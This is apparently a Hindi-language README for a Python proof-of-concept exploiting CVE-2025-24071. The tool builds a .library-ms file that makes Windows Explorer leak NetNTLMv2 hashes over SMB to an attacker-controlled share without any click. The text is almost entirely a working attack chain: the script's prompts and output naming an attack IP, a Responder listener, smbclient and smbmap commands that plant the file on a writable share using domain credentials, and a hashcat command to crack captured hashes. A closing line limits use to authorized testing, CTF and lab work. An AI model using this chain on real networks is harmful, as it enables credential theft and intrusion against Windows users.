
CVE-2025-24071 के लिए Python PoC जो एक .library-ms फ़ाइल बनाता है ताकि Windows Explorer को SMB पर NetNTLMv2 हैश लीक करने के लिए विवश किया जा सके, जिन्हें कैप्चर और क्रैक किया जा सके।
CVE-2025-24071 — .library-ms NTLM coercion (SMB / TAR विधि)
आपका attack IP और एक file name मांगता है, \\<IP>\share की ओर इशारा करने वाली एक .library-ms फ़ाइल लिखता है, और उसे exploit.tar में पैक कर देता है। जब Explorer उस फ़ोल्डर को ब्राउज़ करता है जिसमें यह loose .library-ms पड़ी होती है, तो वह उस UNC path को स्वतः resolve कर लेता है और account का NTLMv2 आपके listener तक leak कर देता है — किसी click की आवश्यकता नहीं।
⚠️ जो चीज़ fire करती है वह loose
.library-msहै —.tarनहीं। share पर पड़ी.tarनिष्क्रिय रहती है; Explorer tarballs को parse नहीं करता। आपको.library-msको ही एक loose फ़ाइल के रूप में share पर पहुँचाना होगा। यह कैसे करें, यह tool पर निर्भर करता है (नीचे देखें)।
uv run coerce_library.py # or: python3 coerce_library.py
Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms -> \\10.10.14.197\share
[+] packed into exploit.tar
sudo responder -I tun0
.library-ms को एक writable share पर पहुँचाएँsmbclient — .tar upload करें, उसे tar x के साथ server-side extract करें (उसके बगल में loose .library-ms गिरा देता है):
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'
smbmap — इसमें extraction का कोई चरण नहीं है, इसलिए loose .library-ms को सीधे upload करें (यहाँ .tar upload करने से कुछ नहीं होगा — यह उसे unpack नहीं कर सकता):
smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'
पुष्टि करें कि यह share पर loose पहुँच गई है:
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
☧ केवल authorized penetration testing / CTF / lab उपयोग के लिए ☧